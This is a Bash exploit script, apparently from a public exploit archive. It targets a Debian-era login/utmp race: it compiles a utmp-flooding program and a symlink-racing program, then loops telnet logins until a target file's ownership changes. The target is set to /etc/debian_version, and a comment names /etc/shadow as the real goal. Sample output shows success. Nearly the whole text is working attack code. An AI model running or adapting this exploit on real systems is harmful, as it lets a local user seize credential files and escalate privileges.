98 lines
No EOL
1.9 KiB
Bash
Executable file
98 lines
No EOL
1.9 KiB
Bash
Executable file
#!/bin/bash -
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echo '
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#include <string.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <utmp.h>
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#include <sys/types.h>
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#include <stdio.h>
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int main(int argc, char *argv[])
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{
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struct utmp entry;
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int i;
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entry.ut_type=LOGIN_PROCESS;
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strcpy(entry.ut_line,"/tmp/x");
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entry.ut_time=0;
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strcpy(entry.ut_user,"badguy");
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strcpy(entry.ut_host,"badhost");
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entry.ut_addr=0;
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for(i=1;i<9;i++) {
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entry.ut_pid=(pid_t)( i + (int)getpid() );
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sprintf(entry.ut_id,"bad%d",i);
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pututline(&entry);
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}
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}
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' > /tmp/fillutmp.c
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cc -o /tmp/fillutmp /tmp/fillutmp.c
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echo 'Ask someone with group utmp privileges to do:'
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echo ' chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
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echo -n 'Press [RETURN] to continue... '
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read ANS
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echo '
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#include <unistd.h>
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int main(int argc, char *argv[])
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{
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while(1)
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{
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unlink("/tmp/x");
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symlink(argv[1],"/tmp/x");
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unlink("/tmp/x");
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symlink(argv[2],"/tmp/x");
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}
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}
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' > /tmp/jigglelnk.c
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cc -o /tmp/jigglelnk /tmp/jigglelnk.c
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HOST=`hostname` # or simply localhost?
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echo "Which tty do you think a 'telnet $HOST' will use next?"
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echo "(Do that telnet and see...)"
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read TTY
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echo "You said it will be '$TTY' ..."
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ATK=/etc/debian_version # should be /etc/shadow
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echo "Starting symlink re-jiggler ..."
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/tmp/jigglelnk $TTY $ATK &
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JIG=$!
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LOOP=0
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while :; do
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((LOOP = $LOOP + 1))
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echo; echo; echo "Try = $LOOP"
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/tmp/fillutmp
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echo "Telnetting... if login succeeds, just exit for next try..."
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/usr/bin/telnet $HOST
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LS=`ls -ld $ATK`
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case "$LS" in
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*root*root* ) ;; # not done yet...
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* )
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echo; echo
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echo "Success after $LOOP tries!"
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echo "$LS"
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echo; echo
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break
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;;
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esac
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done
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kill $JIG
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rm /tmp/fillutmp /tmp/jigglelnk /tmp/x
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# ...
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# ~$ logout
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# Connection closed by foreign host.
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# Success after 12 tries!
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# -rw------- 1 psz tty 4 Oct 28 2006 /etc/debian_version
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# milw0rm.com [2008-12-01] |